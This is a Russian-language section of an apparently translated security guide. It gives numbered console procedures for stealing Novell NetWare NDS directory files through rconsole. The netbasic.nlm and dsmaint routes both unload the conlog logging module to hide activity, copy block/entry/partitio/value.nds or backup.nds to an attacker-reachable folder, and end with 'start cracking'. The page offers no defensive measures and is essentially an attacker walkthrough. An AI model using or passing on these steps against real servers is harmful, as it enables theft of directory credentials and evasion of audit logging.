Иллюстрированный самоучитель по защите в Интернет

Получение доступа к файлам NDS

После приобретения пароля утилиты rconsole осталось выполнить завершающий шаг – получить доступ к файлам NDS. В системе NetWare файлы NDS содержатся в скрытом каталоге _netware тома SYS. Доступ к этому каталогу можно получить лишь через доступ к консоли (для взломщика – утилите rconsole). Для "захвата" файлов NDS существует много методов. И как вы скоро убедитесь, у каждого взломщика имеются свои любимые приемы.

netbasic .nlm (SYS: SYSTEM)

Набор средств разработки программного обеспечения NetBasic представляет собой язык сценариев, который изначально был разработан компанией High Technology Software Corp. (для краткости HiTecSoft). С его помощью можно конвертировать сценарии NetBasic в формат NLM (NetWare Loadable Module) компании Novell и использовать их на Web-сервере системы NetWare. Компонент netbasic.nlm имеет уникальную особенность, которая изначально была обнаружена взломщиками: с его помощью из командной строки можно про смотреть весь том, включая скрытый каталог _netware.

Средства NetBasic по умолчанию устанавливаются на всех серверах NetWare 4.x, так что их очень часто используют для получения доступа к файлам NDS. Для этого выполните следующую последовательность действий и команд.

  1. С помощью команды SYS: \PUBLlc\rconsole получите доступ к консоли rconsole.
  2. unload conlog (удаляет утилиту, регистрирующую консольные сообщения, и отключает режим регистрации).
  3. load netbasic.nlm.
  4. shell.
  5. cd \_netware (скрытый системный каталог, который можно увидеть только с системной консоли).
  6. md \login\nds.
  7. copy block.nds \login\nds\block.nds.
  8. copy entry.nds \login\nds\entry.nds.
  9. copy partitio.nds \login\nds\partitio.nds.
  10. copy value.nds \login\nds\value.nd s.
  11. exit (выход из оболочки).
  12. unload netbasic.
  13. load conlog (вновь загружаем утилиту регистрации).
  14. Со стороны клиента воспользуйтесь командой mар, чтобы подключить сетевой диск, указав путь к созданному ранее каталогу LOGINXNDS.
  15. Скопируйте файлы *.NDS на свой локальный компьютер.
  16. Приступайте к взлому.

dsmaint

Может оказаться, что на целевом сервере язык сценариев NetBasic не установлен. В этом случае придется воспользоваться альтернативным средством – dsmaint. Этот модуль NLM не является стандартным компонентом NetWare 4.11, однако его можно загрузить с Web-узла компании Novell http://www.support.novell.com. Файл называется DS411P.EXE. Однако будьте осторожны: при использовании компонента dsmaint работа службы каталога будет автоматически завершена, так что не стоит использовать его в рабочее время. Для того чтобы вернуться к исходному состоянию службы каталогов, необходимо запустить процесс восстановления. Другими словами, эти действия лучше не выполнять на рабочем сервере.

  1. Подключите сетевой диск, указав каталог SYS:SYSTEM.
  2. Скопируйте на сетевой диск модуль dsmaint .nlm.
  3. С помощью команды rconsole получите доступ к виртуальной консоли.
  4. unload conlog (удаляет утилиту, регистрирующую консольные сообщения, и отключает режим регистрации).
  5. Введите команду load dsmaint.
  6. Выберите команду Prepare NDS For Hardware Upgrade.
  7. Зарегистрируйтесь в качестве администратора.

В этот момент будет выгружена служба каталогов.

После этого в каталоге SYS:SYSTEM будет автоматически сохранен файл backup.nds.

  1. Выберите команду Restore NDS Following Hardware Upgrade.
  2. Введите команду load conlog.
  3. Co стороны клиента подключите сетевой диск, указав путь к каталогу SYS:SYSTEM.
  4. Скопируйте файл backup .nds на свой локальный компьютер.
  5. Воспользуйтесь утилитой extract из набора Pandora и создайте четыре файла NDS (block, entry, partitio и value).
  6. Приступайте к взлому.

Более старый загружаемый модуль dsrepair.nlm также предоставляет возможность подготовиться к обновлению аппаратного обеспечения. При этом в каталоге SYS: SYSTEM тоже будут созданы резервные копии файлов NDS. Однако этот модуль можно использовать только в более ранних версиях системы NetWare 4.x и, кроме того, он абсолютно не пригоден для применения в системах, в которых установлены пакеты обновления.

Если Вы заметили ошибку, выделите, пожалуйста, необходимый текст и нажмите CTRL + Enter, чтобы сообщить об этом редактору.